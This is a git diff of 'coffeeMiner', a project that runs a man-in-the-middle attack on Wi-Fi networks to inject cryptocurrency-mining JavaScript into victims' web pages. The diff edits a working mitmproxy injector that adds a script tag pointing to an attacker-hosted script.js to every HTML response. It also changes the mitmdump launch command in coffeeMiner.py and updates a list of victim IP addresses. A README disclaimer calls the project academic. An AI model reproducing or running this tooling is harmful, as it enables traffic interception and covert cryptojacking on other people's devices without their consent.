diff --git a/README.md b/README.md index c222e92..d3d9a6c 100644 --- a/README.md +++ b/README.md @@ -4,6 +4,9 @@ Collaborative (mitm) cryptocurrency mining pool in wifi networks **Warning: this project is for academic/research purposes only.** +A blog post about this project can be read here: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html + +![coffeeMiner](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-logo-small.png "coffeeMiner") ## Concept - Performs a MITM attack to all selected victims @@ -22,12 +25,16 @@ bash install.sh ```py os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T") ``` -- run.py +- execute coffeeMiner.py ``` python3 coffeeMiner.py ipgateway ``` -![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/network.png "network") +![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-network-attack.png "network") A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md + + + +![demo](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-demo-cutted.gif "demo") diff --git a/coffeeMiner-demo-cutted.gif b/coffeeMiner-demo-cutted.gif new file mode 100644 index 0000000..5b90b08 Binary files /dev/null and b/coffeeMiner-demo-cutted.gif differ diff --git a/coffeeMiner-logo-small.png b/coffeeMiner-logo-small.png new file mode 100644 index 0000000..5e6f289 Binary files /dev/null and b/coffeeMiner-logo-small.png differ diff --git a/coffeeMiner-network-attack.png b/coffeeMiner-network-attack.png new file mode 100644 index 0000000..f040a31 Binary files /dev/null and b/coffeeMiner-network-attack.png differ diff --git a/coffeeMiner.py b/coffeeMiner.py index 8854679..9ba4d7c 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -25,7 +25,7 @@ for victim in victims: os.system("xterm -hold -e 'python3 httpServer.py' &") # start the mitmproxy -os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T") +os.system("~/.local/bin/mitmdump -s 'injector.py http://192.168.1.32:8000/script.js' -T") ''' diff --git a/injector.py b/injector.py index 1d6057a..73c0b31 100644 --- a/injector.py +++ b/injector.py @@ -5,29 +5,16 @@ from mitmproxy import ctx, http import argparse class Injector: - ''' - def load(self, loader): - loader.add_option( - "scr_url", str, "", "script_url to inject" - ) - ''' def __init__(self, path): self.path = path def response(self, flow: http.HTTPFlow) -> None: - #print("hola hola hola") - #print(self.path) - if self.path: html = BeautifulSoup(flow.response.content, "html.parser") print(self.path) print(flow.response.headers["content-type"]) if flow.response.headers["content-type"] == 'text/html': - print("uuuuuu") print(flow.response.headers["content-type"]) - print("asdf asdf asdf asdf asdf") - print("-----") - print("mmmmm") script = html.new_tag( "script", src=self.path, @@ -41,5 +28,3 @@ def start(): parser.add_argument("path", type=str) args = parser.parse_args() return Injector(args.path) - -#addons = [Injector()] diff --git a/install.sh b/install.sh index 8a4fe1d..f6824d6 100644 --- a/install.sh +++ b/install.sh @@ -1,5 +1,3 @@ -#TODO put --yes to all installation commands - # install arpspoof (dsniff) apt-get -y install dsniff diff --git a/network.png b/network.png deleted file mode 100644 index d7079e5..0000000 Binary files a/network.png and /dev/null differ diff --git a/victims.txt b/victims.txt index 826ffb0..cec5e06 100644 --- a/victims.txt +++ b/victims.txt @@ -1,2 +1,5 @@ -192.168.1.30 -192.168.1.31 +192.168.1.41 +192.168.1.35 +192.168.1.45 +192.168.1.48 +192.168.1.38